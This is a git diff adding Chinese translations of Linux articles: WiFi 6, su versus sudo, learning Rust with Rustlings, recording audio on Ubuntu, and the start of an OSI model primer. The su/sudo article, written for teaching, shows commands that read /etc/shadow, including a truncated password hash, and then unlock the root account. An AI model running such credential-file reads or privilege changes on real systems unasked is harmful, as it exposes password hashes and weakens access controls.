大学校园内的图书馆、礼堂和报告厅内的日间 WiFi 使用密度是最高的,夜晚几乎没有人。WiFi 6 是这类场景的完美选项。 + +(LCTT 译注:相关产品推荐部分节略。) + +### 面临的挑战 + +WiFi 6 不一定使速度更快,但它能确保在一定范围内的设备速率不会在未来几年变慢。虽然它面临三重挑战,但这些问题常常被忽视。 + +- 需要对不支持的设备进行升级:即使 Wifi 6 向后兼容,但只能在最大限度使用这种技术时才能做得合理。这意味着每次都要更新设备。 +- 内部网络以外的速度和性能:WiFi 6 能为诸如云文件共享之类服务提供极好的连接性。然而,ISP 的相关资源也会影响速度和性能。 +- 覆盖范围问题:在各个国家,传输信号和带宽都是由法律规定上限的。因此,为了符合法律规定的上限,WiFi 6 的覆盖范围也是受限的。 + +尽管存在这些挑战,一些企业,像 Aruba、华硕、AT&T、Boingo、博通、思科、Comcast、CommScope、Cypress、Extreme Networks、英特尔、Netgear、Orange、高通、TP-Link 和小米,都在关注 WiFi 6 更多的可能性。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/ + +作者:[Sharon Katta][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/sharon-katta/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/05/WiFi-6-1.jpg +[0]: https://img.linux.net.cn/data/attachment/album/202212/21/165355hi20ky6mchmj0h38.jpg \ No newline at end of file diff --git a/published/202212/20220628 Linux su vs sudo- what-s the difference-.md b/published/202212/20220628 Linux su vs sudo- what-s the difference-.md new file mode 100644 index 0000000000..e0c0890a8a --- /dev/null +++ b/published/202212/20220628 Linux su vs sudo- what-s the difference-.md @@ -0,0 +1,152 @@ +[#]: subject: "Linux su vs sudo: what's the difference?" +[#]: via: "https://opensource.com/article/22/6/linux-su-vs-sudo-sysadmin" +[#]: author: "David Both https://opensource.com/users/dboth" +[#]: collector: "lkxed" +[#]: translator: "chai001125" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15347-1.html" + +Linux 中的 su 和 sudo 命令有什么区别? +====== + +> 本文将比较非 root 用户提权为 root 用户的两个 Linux 命令 的区别。 + +![][0] + +`su` 和 `sudo` 命令都允许用户执行非特权用户不允许做的系统管理任务,即只有 root 用户能执行的命令。有些人更喜欢 `sudo` 命令:例如 [Seth Kenlon][2] 最近发布的一篇 《[在 Linux 上使用 sudo 的 5 个理由][3]》,他在其中详细阐述了 `sudo` 命令的许多优点。 + +但是,相较于 `sudo` 命令,我**更偏好于 `su` 命令** 来做系统管理工作。在本文中,我比较了这两个命令的区别,并解释了为什么我更喜欢 `su` 而不是 `sudo`,但我仍然同时使用这两个命令的原因。 + +### 过去的系统管理员主要使用 su 命令 + +`su` 和 `sudo` 命令是为**不同的世界**设计的。早期的 Unix 计算机需要全职系统管理员,他们使用 root 用户作为唯一的管理帐户。在这个古老的世界里,有管理员密码的人会在电传打字机或 CRT 终端(例如 DEC VT100)上以 root 用户登录,然后执行一些管理 Unix 计算机的工作。 + +管理员还会有一些非 root 帐户,用于执行一些非 root 的任务,例如编写文档和管理电子邮件等。在这些 Unix 计算机上通常有许多非 root 帐户,他们都不需要完全的 root 访问权限,只需要以 root 权限运行很少的命令,大约 1 至 2 个就可以了。许多系统管理员以 root 用户登录,完成 root 工作,并在任务完成后,退出 root 会话。有时候,系统管理员需要整天以 root 用户来登录,因为 `sudo` 命令需要键入更多的内容才能运行必要的命令,因此大多数系统管理员很少使用 `sudo` 命令。 + +`sudo` 和 `su` 这两个命令都能够提权为 root 用户,但它们实现的方式大不相同。这种差异是由于它们**最初打算用于不同的情况**。 + +### sudo 命令 + +`sudo` 命令的初衷是让 root 用户能够让几个非 root 用户访问他们经常需要的一两个特权命令。`sudo` 命令允许非 root 用户暂时地获得更高权限,来执行一些特权命令,例如添加和删除用户、删除属于其他用户的文件、安装新软件以及管理现代 Linux 主机所需的任何命令。 + +`sudo` 命令允许非 root 用户访问一两个 _需要更高权限_ 的常用命令,这样可以帮助系统管理员节省来自用户的许多请求,并减少等待时间。`sudo` 命令不会将用户帐户切换为 root 用户,因为大多数非 root 用户永远不应该拥有完全的 root 访问权限。在大多数情况下,`sudo` 允许用户执行一两个命令,然后提权就会过期。在这个通常为 5 分钟的短暂的提权时间内,用户可以执行任何需要提权的管理命令。需要继续使用提权的用户可以运行 `sudo -v` 命令来重新验证 root 访问权限,并将提权时间再延长 5 分钟。 + +使用 `sudo` 命令还有一些副作用,例如生成非 root 用户使用命令的日志条目及其 ID。这些日志可以在之后作为出现问题的检验,来给用户更多的操作培训。(你以为我会说“问责”用户,对吧?) + +### su 命令 + +`su` 命令能够将非 root 用户提权到 root 权限 —— 事实上,能让非 root 用户成为 root 用户。唯一的要求是用户知道 root 密码。因为用户已经以 root 权限登录,所以之后的操作就没有限制了。 + +`su` 命令所提供的提权没有时间限制。用户可以作为 root 执行命令,不需要进行重新验证是否有 root 权限。完成任务后,用户可以执行退出命令 `exit`,从 root 用户恢复到自己原来的非 root 帐户。 + +### su 和 sudo 在使用上的争议和变化 + +最近在 `su` 与 `sudo` 的使用上存在一些分歧。 + +> 真正的系统管理员不会使用 `sudo`。—— Paul Venezia + +Venezia 在他的 [InfoWorld 文章][4] 中辩称,对于许多担任系统管理员的人来说,`sudo` 是一个不必要的工具。他没有花太多时间为这个观点进行解释,他只是把它说成了一个事实。我同意他对于系统管理员的观点,因为我们不需要 `sudo` 来完成我们的工作。事实上,`sudo` 使得事情变得更复杂了。 + +然而, + +> 时代在“改变”。—— Bob Dylan + +Bob Dylan 是对的,尽管他唱的歌不是指计算机(LCTT 译注:Bob Dylan 是美国创作歌手、艺术家和作家,这里指他不是针对于电脑而说的)。 + +自从人手一台的**个人计算机**时代到来,计算机的管理方式发生了重大变化。在许多环境中,计算机的使用者也是它的管理员,这使得为这些用户提供一些对 root 权限的访问是有必要的。 + +一些现代发行版,例如 Ubuntu 及其衍生版本,只能使用 `sudo` 命令来执行特权命令。在这些发行版中,用户无法直接以 root 用户身份登录,甚至无法通过 `su` 切换到 root,因此需要 `sudo` 命令来允许非 root 用户获得 root 权限。在这一环境中,所有系统管理任务均使用 `sudo` 来执行。 + +通过锁定 root 帐户并将常规用户帐户添加到“轮子”组(`wheel`),可以实现此配置,但是这种配置很容易被绕过。接下来,让我们在 Ubuntu 主机或虚拟机上尝试一些小实验吧。我在这里说明一些我的设置,以便你可以根据需要来重现它。我安装的是 Ubuntu 16.04 LTS1,并使用 VirtualBox 将其安装在虚拟机中。在安装过程中,我创建了一个非 root 用户 `student`,为了简便起见我给这个用户设置了一个简单的密码。 + +以 `student` 用户身份登录 Ubuntu,并打开终端。查看 `/etc/shadow` 文件中的 root 条目,其中存储了经哈希的密码。 + +``` +student@ubuntu1:~$ cat /etc/shadow +cat: /etc/shadow: Permission denied +``` + +可以看到终端拒绝了我们对 `/etc/shadow` 的访问,因此我们无法查看 `/etc/shadow` 文件。所有发行版都是如此,以防止非特权用户看到和访问加密的密码,因为非特权用户可能会使用常见的黑客工具来破解这些密码。 + +现在,让我们使用 `su -` 命令来成为 root 用户。 + +``` +student@ubuntu1:~$ su - +Password: +su: Authentication failure +``` + +认证失败的原因是因为 root 帐户没有密码、并且被锁定了。接下来,使用 `sudo` 命令查看 `/etc/shadow` 文件。 + +``` +student@ubuntu1:~$ sudo cat /etc/shadow +[sudo] password for student: +root:!:17595:0:99999:7::: +<截取> +student:$6$tUB/y2dt$A5ML1UEdcL4tsGMiq3KOwfMkbtk3WecMroKN/:17597:0:99999:7::: +<截取> +``` + +在这里,我仅截取了部分结果,只显示 root 和 `student` 用户的条目。我还缩短了加密密码,以便该条目能显示在一行中。各个字段以冒号(`:`)分隔,第二个字段是密码。请注意,root 的密码字段是一个感叹号(`!`),这表明 root 帐户已被锁定,且无法使用。 + +现在,要将 root 帐户变成一个合适的系统管理员,你只需为 root 帐户设置密码。 + +``` +student@ubuntu1:~$ sudo su - +[sudo] password for student: +root@ubuntu1:~# passwd root +Enter new UNIX password: +Retype new UNIX password: +passwd: password updated successfully +root@ubuntu1:~# +``` + +现在,你可以直接以 root 身份登录到控制台,或者直接使用 `su` 登录到 root,而不是在每个命令前都加一个 `sudo`。当然,你也可以在每次想以 root 身份登录时,使用 `sudo su -`,但这又是何必呢? + +请不要误解我的意思。像 Ubuntu 这样的发行版及其上下游衍生版非常好,多年来我已经使用了其中的几个。在使用 Ubuntu 和相关发行版时,我做的第一件事就是设置一个 root 密码,这样我就可以直接以 root 身份登录。其他发行版,如 Fedora 及其相关发行版,现在在安装过程中提供了一些有趣的选择。我注意到的第一个 Fedora 版本是 Fedora 34,我在写我的一本即将出版的书时安装了很多次。 + +在安装页面上,可以找到其中一个安装选项,来设置 root 密码。这个新选项允许用户选择“锁定 root 帐户 Lock root account ”,就像 Ubuntu 锁定 root 帐户的方式一样。此页面上还有一个选项,允许使用密码以 root 身份远程 SSH 登录到此主机,但这仅在 root 帐户解锁时有效。第二个选项位于允许创建非 root 帐户的页面上。此页面上的选项之一是“让此用户成为管理员 Make this user administrator ”。选中此选项后,用户 ID 将添加到一个名为 `wheel` 组的特殊组中,该组授权该组的成员使用 `sudo` 命令。Fedora 36 甚至在该复选框的描述中提到了 `wheel` 组。 + +可以将多个非 root 用户设置为管理员。使用此方法指定为管理员的任何人都可以使用 `sudo` 命令在 Linux 计算机上执行所有管理任务。Linux 在安装时只允许创建一个非 root 用户,所以其他新用户可以在创建时添加到 `wheel` 组中。root 用户或其他管理员可以使用文本编辑器或 `usermod` 命令直接将现有用户添加到 `wheel` 组。 + +在大多数情况下,今天的管理员只需要执行一些基本任务,例如添加新的打印机、安装更新或新软件,或者删除不再需要的软件。这些 GUI 工具需要 root 或管理密码,并将接受来自管理员用户的密码。 + +### 在 Linux 上,我是怎么使用 su 和 sudo 的呢 + +我**同时使用 `su` 和 `sudo`**。它们都是我所使用的很重要的系统管理员工具。 + +我不锁定 root 帐户,因为我需要用 root 帐户来运行我的 [Ansible][5] 脚本和我编写的 [rsbu][6] Bash 程序,来执行备份。这两个程序都需要以 root 身份运行,我编写的其他几个管理 Bash 的脚本也是如此。我**使用 `su` 命令**切换到 root 用户,这样我就可以执行这些脚本和许多其他常见的命令。当我需要确定问题和解决问题时,使用 `su` 命令将我的权限提升到 root 十分有用,因为我不希望 `sudo` 带来的提权会话超时。 + +当非 root 用户需要执行这些任务时,我**使用 `sudo` 命令**,来执行需要 root 权限的任务。我在 `sudoers` 文件中设置了非 root 帐户,只允许访问完成任务所需的一两个命令。当我只需要运行一两个需要提权的快速命令时,我自己也会使用 `sudo` 命令。 + +### 结论 + +实际上只要你把工作完成好了,你使用什么工具都无大碍。你使用的是 Vim 还是 Emacs,是 systemd 还是 SystemV,是 RPM 亦或是 DEB,是 `sudo` 亦或是 `su`,在结果上会有什么区别呢?这里的关键在于你应该使用**最适合你的工具**。Linux 和开源软件的最大优势之一是通常有许多选项可用于我们需要完成的任务。 + +`su` 和 `sudo` 都各有长处,如果正确使用的话,两者都是非常安全的。我选择同时使用 `su` 和 `sudo` 命令,基于它们的历史功能,因为这对我来说十分有用。对于我自己的大部分工作,我更喜欢 `su` 命令,因为它与我的工作流程最适配。 + +在评论区分享你喜欢的工作方式吧! + +本文摘自于我的书《系统管理员的 Linux 哲学The Linux Philosophy for Sysadmins(Apress,2018 年)》一书的第 19 章,并经许可后重新发布。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/linux-su-vs-sudo-sysadmin + +作者:[David Both][a] +选题:[lkxed][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png +[2]: https://opensource.com/users/seth +[3]: https://opensource.com/article/22/5/use-sudo-linux +[4]: http://www.infoworld.com/t/unix/nine-traits-the-veteran-unix-admin-276?page=0,0&source=fssr +[5]: https://opensource.com/article/20/10/first-day-ansible +[6]: https://opensource.com/article/17/1/rsync-backup-linux +[0]: https://img.linux.net.cn/data/attachment/album/202212/14/171220a47je4l0teaonzos.jpg \ No newline at end of file diff --git a/published/202212/20220729 Learn Rust by debugging Rust.md b/published/202212/20220729 Learn Rust by debugging Rust.md new file mode 100644 index 0000000000..3129292941 --- /dev/null +++ b/published/202212/20220729 Learn Rust by debugging Rust.md @@ -0,0 +1,241 @@ +[#]: subject: "Learn Rust by debugging Rust" +[#]: via: "https://opensource.com/article/22/7/learn-rust-rustlings" +[#]: author: "Gaurav Kamathe https://opensource.com/users/gkamathe" +[#]: collector: "lkxed" +[#]: translator: "yzuowei" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15395-1.html" + +以调试 Rust 的方式来学习 Rust +====== + +> Rustlings 是由 Rust 团队维护的开源项目,旨在帮助你通过调试代码的方式来学习 Rust。 + +![Ferris the crab under the sea, unofficial logo for Rust programming language][1] + +在我上一篇 [关于 Rustup 的文章][2] 中,我向你们展示了如何安装 Rust 工具链。但是,如果不能上手操作一下 Rust 的话下载工具链又有什么用?学习任何语言都包括阅读现有的代码和写很多的示例程序,这是精通一门语言的好方法。然而,我们还可以走第三条路:调试代码。 + +通过调试来学习牵扯到尝试去编译一个已经写好的(满是漏洞的)示例程序,理解编译器生成的错误信息,修复示例代码,然后再重新编译。重复这个过程直到代码能够成功被编译并运行。 + +[Rustlings][3] 是一个由 Rust 团队维护的开源项目,旨在帮助你通过调试代码来学习 Rust。它也会一路为你提供提示。如果你是一名 Rust 初学者,并且刚开始阅读或已经读完了 Rust 书籍,那么 Rustlings 就是理想的下一步。Rustllings 帮助你将运用书中所学,并转向开发更大的项目。 + +### 安装 Rustlings + +我使用(并推荐)Fedora 电脑来体验 Rustlings,但是任何 Linux 发行版都可以。要安装 Rustlings,你必须下载并运行它的安装脚本。通常建议你以不具备任何特别权限的普通用户(非 root 用户)来运行脚本。 + +记住,你需要 Rust 工具链来使用 Rustlings。如果你还没有这些工具链,请参考我 [关于 Rustup 的文章][4]。 + +当你准备好时,下载这个安装脚本: + +``` +$ curl -L https://raw.githubusercontent.com/rust-lang/rustlings/main/install.sh  > rustlings_install.sh +$ file rustlings_install.sh +rustlings_install.sh: Bourne-Again shell script, ASCII text executable +``` + +阅读脚本以了解它会做什么: + +``` +$ less rustlings_install.sh +``` + +然后运行安装: + +``` +$ bash rustlings_install.sh +[...] +Installing /home/tux/.cargo/bin/rustlings +Installed package `rustlings v4.8.0 (/home/tux/rustlings)` (executable `rustlings`) +All done! +``` + +运行 `rustlings` 以开始。 + +### Rustlings 练习 + +你现在可以使用命令 `rustlings`。与标志 `--help` 一起执行来查看可选的选项。 + +``` +$ rustlings --help +``` + +这个安装脚本也克隆了 Rustlings 的 Git 仓库,并安装了运行示例程序所需的依赖。你可以在 `ruslings` 下的 `exercises` 目录查阅这些示例程序。 + +``` +$ cd rustlings +$ pwd +/home/tux/rustlings +$ ls +AUTHORS.md  Cargo.toml        CONTRIBUTING.md  info.toml install.sh README.md  target Cargo.lock  CHANGELOG.md  exercises install.ps1  LICENSE src tests +$ ls -m exercises/ +advanced_errors, clippy, collections, conversions, enums, error_handling, functions, generics, if, intro, macros, mod.rs, +modules, move_semantics, option, primitive_types, quiz1.rs, quiz2.rs, quiz3.rs, quiz4.rs, README.md, +standard_library_types, strings, structs, tests, threads, traits, variables +``` + +### 从命令行列出所有练习 + +命令 `ruslings` 提供给你一个 `list` 命令用以展示每个示例程序,它的完整路径,以及状态 (默认为 “待定”)。 + +``` +$ rustlings list +Name         Path                                 Status +intro1       exercises/intro/intro1.rs            Pending +intro2       exercises/intro/intro2.rs            Pending +variables1   exercises/variables/variables1.rs    Pending +variables2   exercises/variables/variables2.rs    Pending +variables3   exercises/variables/variables3.rs    Pending +[...] +``` + +在显示结尾处,你会有一个进度报告用来追踪进度。 + +``` +Progress: You completed 0 / 84 exercises (0.00 %). +``` + +### 查看示例程序 + +命令 `rustlings list` 向你展示了现有的程序,所以你可以在任何时候查看这些程序的代码,你只需要将完整路径复制到你的终端作为命令 [cat][5] 或者 [less][6] 的参数: + +``` +$ cat exercises/intro/intro1.rs +``` + +### 验证你的程序 + +现在你可以开始调试程序了。你可以使用命令 `verify` 来做这件事。注意 Rustlings 选择了列表里的第一个程序(`intro1.rs`)并尝试去编译它,最后编译成功: + +``` +$ rustlings verify +Progress: [-----------------------------------] 0/84 +✅ Successfully ran exercises/intro/intro1.rs! + +You can keep working on this exercise, +or jump into the next one by removing the `I AM NOT DONE` comment: + + 6 |  // Execute the command `rustlings hint intro1` for a hint. + 7 |   + 8 |  // I AM NOT DONE + 9 | +``` + +正如你从结果中所见,尽管示例代码成功编译了,你依然需要做一些工作。每个示例程序的源文件中都带有以下注释: + +``` +$ grep "NOT DONE" exercises/intro/intro1.rs +// I AM NOT DONE +``` + +虽然第一个程序的编译没有问题,除非你去掉注释 `I AM NOT DONE`,Rustlings 不会移到下一个程序。 + +### 来到下一个练习 + +一旦你从 `intro1.rs` 中去掉这些注释,你就可以通过再一次运行命令 `rustlings verify` 来到下一个练习。这一次,你会发现 Rustlings 尝试去编译这个系列中的下一个程序(`intro2.rs`),但是遇到了一个错误。你应该调试并修复这个问题,并前进。这是你理解为什么 Rust 说程序有漏洞的至关重要的一步。 + +``` +$ rustlings verify +Progress: [>------------------------] 1/84 +⚠️  Compiling of exercises/intro/intro2.rs failed! Please try again. Here's the output: +error: 1 positional argument in format string, but no arguments were given + --> exercises/intro/intro2.rs:8:21 +  | +8 |         println!("Hello {}!"); +  |                         ^^ + +error: aborting due to previous error +``` + +### 来点提示 + +Rustlings 有一个非常好用的 `hint` 参数,这个参数会告诉你示例程序中哪里出错了,以及如何去修复它。你可以认为这是在编译错误信息基础之上,一个额外的帮助选项。 + +``` +$ rustlings hint intro2 +Add an argument after the format string. +``` + +基于以上提示,修复这个程序就很简单了。你只需要在语句 `println` 中加一个额外的参数。这个 diff 对比应该能帮你理解发生的变化: + +``` +< println!("Hello {}!", "world"); +--- +> println!("Hello {}!"); +``` + +一旦你做出了修改,并从源代码中去掉了注释 `NOT DONE`,你可以再一次运行 `rustlings verify` 来编译并运行代码。 + +``` +$ rustlings verify +Progress: [>-------------------------------------] 1/84 +✅ Successfully ran exercises/intro/intro2.rs! +``` + +### 追踪进度 + +你无法在一天之内做完所有的练习,忘记练到哪也很常见。你可以执行命令 `list` 来查看你的练习状态。 + +``` +$ rustlings list +Name         Path                                  Status +intro1       exercises/intro/intro1.rs             Done   +intro2       exercises/intro/intro2.rs             Done   +variables1   exercises/variables/variables1.rs     Pending +variables2   exercises/variables/variables2.rs     Pending +variables3   exercises/variables/variables3.rs     Pending +[...] +``` + +### 运行特定的练习 + +如果你不想从头开始并且想要跳过一些练习,Rustlings 允许你使用命令 `rustlings run` 来专注特定的练习。如此可以运行指定的程序而不需要验证之前的课程。例如: + +``` +$ rustlings run intro2 +Hello world! +✅ Successfully ran exercises/intro/intro2.rs +$ rustlings run variables1 +``` + +敲入练习名字可能会变得乏味,但 Rustlings 为你准备了便利的命令 `next` 用来移向系列中的下一个练习。 + +``` +$ rustlings run next +``` + +### 替代命令 watch + +如果你不想在每次修改后还要敲一次 `verify`,你可以在终端窗口中运行命令 `watch`,然后再继续修改源代码以解决问题。命令 `watch` 会检测到这些修改,然后重新编译以查看这些问题是否被解决。 + +``` +$ rustlings watch +``` + +### 通过调试学习 + +Rust 编译器以提供非常有意义的错误信息而被熟知,这些错误信息会帮助你理解在你代码中的问题。这通常意味着更快的调试。Rustlings 是练习 Rust,学会阅读错误信息,并理解 Rust 语言的优秀途径。来看看 [GitHub][7] 上 Rustlings 5.0.0 的最新功能吧。 + +> **[下载 Rust 速查表][8]** + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/learn-rust-rustlings + +作者:[Gaurav Kamathe][a] +选题:[lkxed][b] +译者:[yzuowei](https://github.com/yzuowei) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/gkamathe +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/rust_programming_crab_sea.png +[2]: https://opensource.com/article/22/6/rust-toolchain-rustup +[3]: https://github.com/rust-lang/rustlings +[4]: https://opensource.com/article/22/6/rust-toolchain-rustup +[5]: https://opensource.com/article/19/2/getting-started-cat-command +[6]: https://opensource.com/article/18/4/using-less-view-text-files-command-line +[7]: https://github.com/rust-lang/rustlings/releases/tag/5.0.0 +[8]: https://opensource.com/downloads/rust-cheat-sheet diff --git a/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md b/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md new file mode 100644 index 0000000000..4cd33a4e74 --- /dev/null +++ b/published/202212/20220810 How to Record Streaming Audio in Ubuntu and other Linux Distributions.md @@ -0,0 +1,185 @@ +[#]: subject: "How to Record Streaming Audio in Ubuntu and other Linux Distributions" +[#]: via: "https://itsfoss.com/record-streaming-audio/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "FYJNEVERFOLLOWS" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15381-1.html" + +如何在 Ubuntu 中录制流媒体音频 +====== + +![][0] + +> 如何在 Ubuntu 和其他 Linux 发行版中录制音频? + +如果你想通过计算机的麦克风录制语音,可以使用 GNOME 录音机Sound Recorder 或 Audacity。 + +使用 GNOME 录音机很简单,但它功能不足。Audacity 最初可能会让人无从入手,但它有很多专业级录音的功能。不过,在本教程中,我不打算详细讨论这个问题。 + +GNOME 录音机能与麦克风配合使用。还有一个叫做 Audio recorder 的工具,除了麦克风输入,你可以使用它来录制流媒体音乐(来自 Sptify、YouTube、互联网广播、Skype 和其他大多数来源)。 + +总而言之,我将向你展示以下步骤: + +* 使用 GNOME 录音机录制声音 +* 使用 Audio Recorder 录制流音频 + +### 使用 GNOME 录音机从麦克风录制音频 + +GNOME 桌面环境有很多有用的应用程序,录音机就是其中之一。 + +你可以从 Ubuntu 软件中心安装 [录音机][1]。 + +![Sound Recorder can be installed from the Ubuntu Software Center][2] + +或者,你可以在终端中使用此命令来安装它: + +``` +sudo apt install gnome-sound-recorder +``` + +安装后,你可以在系统菜单中找到它,并从那里启动它。 + +![GNOME Sound Recorder][3] + +在开始使用它之前,应确保在系统设置中选择了正确的输入源: + +![Ensure that you have chosen correct input in system settings][4] + +打开录音机,它将显示如下界面: + +![Hit the Record button to start audio recording][5] + +点击“录制Record”按钮,它立即开始录制音频。录制时,你可以选择暂停、停止或取消录制。 + +![Options while recording audio][6] + +你的录音将保存并可从应用程序界面本身获得。单击保存的录音以突出显示。 + +你可以回放或删除该录音。你可以通过单击“保存/下载”按钮选择将其保存到其他位置。你也可以使用“编辑”按钮重命名该录音。 + +![Saved recordings][7] + +这很方便,对吧?你可以选择以 `MP3`、`FLAC` 和多种格式录制。 + +#### 删除 GNOME 录音机 + +不喜欢它或发现它缺乏功能? + +你可以从 Ubuntu 软件中心删除 GNOME 录音机,或使用以下命令: + +``` +sudo apt remove gnome-sound-recorder +``` + +GNOME 录音机应用功能有限,它只从麦克风录制,在某些情况下这不是你想要的。 + +想象一下你想录制 Skype 通话或在应用程序或网络浏览器中播放的内容?在这种情况下,漂亮的 Audio Recorder 会有所帮助。 + +### 使用 Audio Recorder 来录制流媒体音频 + +你可以使用 [官方 PPA][10] 在 Ubuntu 和 LinuxMint 中安装 `Audio Recorder`。在终端中依次使用以下命令: + +``` +sudo apt-add-repository ppa:audio-recorder/ppa +sudo apt update +sudo apt install audio-recorder +``` + +或者,你可以从 [启动台][11] 下载源代码。安装后,你可以从“活动概述Activity Overview”里启动应用程序: + +![Audio Recorder][12] + +#### 记录不同来源的各种声音 + +Audio Recorder 记录计算机产生的各种声音。 + +它记录通过系统声卡、麦克风、浏览器、网络摄像头等播放的音频。 + +换句话说,即使你的系统打喷嚏,它也会记录(如果你想记录的话)。它允许你选择录制设备,如网络摄像头、麦克风、Skype 等。 + +要录制流媒体音乐,请选择适当的源。例如,如果你正在 Rhythmbox 中播放流媒体广播,请选择 Rythmbox。 + +![Audio-Recorder Audio Settings][13] + +#### 在你方便的时候录制 + +Audio Recorder 还提供了设置计时器的选项。你可以在给定的时钟时间或预定义的间隔开始、停止或暂停录制。你还可以设置录制文件大小的限制。 + +此外,你可以在没有音频(或声音很低)时暂停(和停止),并在声音恢复时继续。 + +你所要做的就是编辑计时器面板中的文本。注释掉你不想应用的“规则”,并根据你的要求编辑这些规则。 + +![Audio-recorder Timer Settings][14] + +它提供了其他设置,如登录时自动启动、显示托盘图标和其他记录设置。 + +![Audio-recorder Additional Settings][15] + +#### 以各种文件格式保存录制的音乐文件 + +另一个宝藏。你可以将录制的文件保存为你喜爱的文件格式。支持的文件格式有 OGG 音频、Flac、MP3、SPX 和 WAV。我录音时更喜欢用 MP3 格式。 + +录制的文件存储在 `~/Audio` 中,即主目录中的“音频”文件夹中。 + +![Audio-recorder Audio Formats][16] + +#### Audio Recorder 有多好? + +我在 Ubuntu 中使用 Audio Recorder [录制 YouTube 上播放的音乐][17]。我用 MP3 格式保存了一段 2 分钟的视频,占用了 934 KB 的空间。但我必须说,我没想到录制的音质会这么好。老实说,我无法将它与 YouTube 上的原始歌曲区分开来。 + +#### 删除 Audio Recorder + +如果你不喜欢 Audio Recorder,可以使用以下命令将其删除: + +``` +sudo apt remove audio-recorder +``` + +[同时删除 PPA][18] 是个好主意: + +``` +sudo apt-add-repository -r ppa:audio-recorder/ppa +``` + +### 结论 + +Linux 中可能还有其他几种用于音频录制的工具。像 GNOME 一样,其他桌面环境也可能有录音应用程序。我知道深度操作系统肯定有一个。 + +GNOME 录音机是一个不错的工具,用于从麦克风录制声音。对于录制各种来源的声音,Audio Recorder 是一个不错的选择。 + +我希望这篇文章能满足你的录音需求。如果你有什么建议,请告诉我。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/record-streaming-audio/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://wiki.gnome.org/Apps/SoundRecorder +[2]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder-ubuntu.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/microphone-settings-ubuntu.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/using-sound-recorder-linux.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recording-with-sound-recorder.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/sound-recorder-interface.png +[8]: https://youtu.be/o7Ia2QGeB7Q +[9]: https://www.youtube.com/c/itsfoss?sub_confirmation=1 +[10]: https://launchpad.net/~audio-recorder/+archive/ubuntu/ppa +[11]: https://launchpad.net/audio-recorder +[12]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-in-overview.png +[13]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-audio-settings.png +[14]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-timer-settings.png +[15]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-additional-settings.png +[16]: https://itsfoss.com/wp-content/uploads/2022/08/audio-recorder-audio-formats.png +[17]: https://itsfoss.com/youtube-dl-audio-only/ +[18]: https://itsfoss.com/how-to-remove-or-delete-ppas-quick-tip/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/25/154829ol11lp47i8o6222c.jpg \ No newline at end of file diff --git a/published/202212/20221004 Learn the OSI model in 5 minutes.md b/published/202212/20221004 Learn the OSI model in 5 minutes.md new file mode 100644 index 0000000000..dc05565ee5 --- /dev/null +++ b/published/202212/20221004 Learn the OSI model in 5 minutes.md @@ -0,0 +1,104 @@ +[#]: subject: "Learn the OSI model in 5 minutes" +[#]: via: "https://opensource.com/article/22/10/osi-model-network-communications" +[#]: author: "Anamika https://opensource.com/users/anamika" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15352-1.html" + +5 分钟内了解 OSI 模型 +====== + +![][0] + +> 理解 OSI 框架的基本概念,掌握计算机系统通信机制。 + +开放系统互联Open Systems Interconnection(OSI)模型是一个定义计算机、服务器和用户如何在一个系统内通信的标准。它是第一个网络通信标准模型,在上世纪 80 年代早期,所有主流的计算机和通信公司都采用了这个标准。 + +OSI 模型提供了一种用于描述网络的通用语言,并以离散的块或层的方式来描述。 + +### OSI 模型的各个层 + +该模型描述了计算机系统通过网络进行通信的七个层。 + +- 7 应用层 +- 6 表示层 +- 5 会话层 +- 4 传输层 +- 3 网络层 +- 2 数据链路层 +- 1 物理层 + +每个层都有自己的工作方式和一系列跟其他层不同的协议。本文将逐个剖析这些层级。 + 